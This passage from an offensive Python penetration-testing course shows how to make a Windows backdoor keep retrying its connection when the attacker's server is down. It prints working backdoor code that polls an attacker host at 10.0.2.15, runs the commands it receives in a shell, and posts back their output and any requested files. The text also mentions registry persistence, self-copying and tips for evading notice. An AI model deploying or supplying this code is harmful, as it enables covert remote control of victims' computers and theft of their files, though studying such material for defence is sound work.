In all our previous sections, we have assumed that the attacker and the target machine are in sync with time. This means that our server was up and listening all the time. Now, the question is: What happens if the attacker machine was offline for some reason or the connection did not happen properly? Well, our backdoor on the client side will crash and at the same time give a pop up as an error message and dump a text file indicating an exception error.
Currently, our Kali machine is not listening on any port. So, if the attacker initiates a TCP SYN to make a connection with us, now, since the port is closed, our Kali machine will reply with a TCP RST. Now, let's have a quick look at the packet level:
- Enable Wireshark on the attacker machine by executing
sudo wireshark
and you can see that our script is not running there - Start a new live capture
- Set the filter to TCP
- Log in on the Windows machine
- Since we are not listening to port
80
, we are replying withTCP RST
, as you can see in the following screenshot:
Also, on the target side, our script will crash and throws away an exception or log message. Navigate to the log file and you'll see that it says connection aborted because the target machine actively refused it, as shown in the following screenshot:
Log in with the admin
account, where we have the Python compiler. So we'll fix this issue by creating an infinite loop with an exception handler, as shown here:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Tunning import os import shutil import subprocess import _winreg as wreg import requests import time ... #Last phase is to start a reverse connection back to our kali machine import random def connect(): while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: return 1 elif 'grab' in command: grab,path=command.split('*') if os.path.exists(path): url = 'http://10.0.2.15/store' files = {'file': open(path, 'rb')} r = requests.post(url, files=files) else: post_response = requests.post(url='http://10.0.2.15', data= '[-] Not able to find the file !' ) else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) time.sleep(3) while True: try: if connect()==1: break except: sleep_for = random.randrange(1,10) time.sleep( sleep_for ) #time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes pass
As you can see, a new function called connect()
is added to the script. So, using an exception handler, whatever the reason may be, if we get an exception for initiating the connection, we'll sleep for some random time between 1 to 10 seconds, and then try to connect again. In a real-world scenario, you've got to be more patient and make it from 1 to 10 minutes. In the end, we pass the exception instead of raising it here. Now, the question is: How to terminate the process, as we have two infinite loops? Since the single break command won't do the job for us, the trick here is, if we terminate, then we will break the whole function and retain a value of 1
. And if the connection function retains the value of 1
, then we will break the second loop, which will terminate the process eventually.
Now, let's quickly try and test this modification:
- As we've done earlier, export the script to EXE
- Ensure that the
Documents
folder and the registry key are empty - Double-click on
Persistence.exe
from thedist
folder and run the script
And once we run our script here, notice that the target keeps trying to reach us until we run our server and the connection attempts here will be anywhere between 1 to 10 seconds, as shown in the following screenshot:
Now, once we start our listener on the server side, we have completed three-way handshakes and got the GET
request from our target, as shown in the following screenshot:
Check whether the registry key is there and whether the script has copied itself to Documents
. So, the last thing to test is whether the termination process is working or not. Ping 10.0.2.15
and perform a terminate
. You can see that Persistence.exe
is gone from the Windows Task Manager.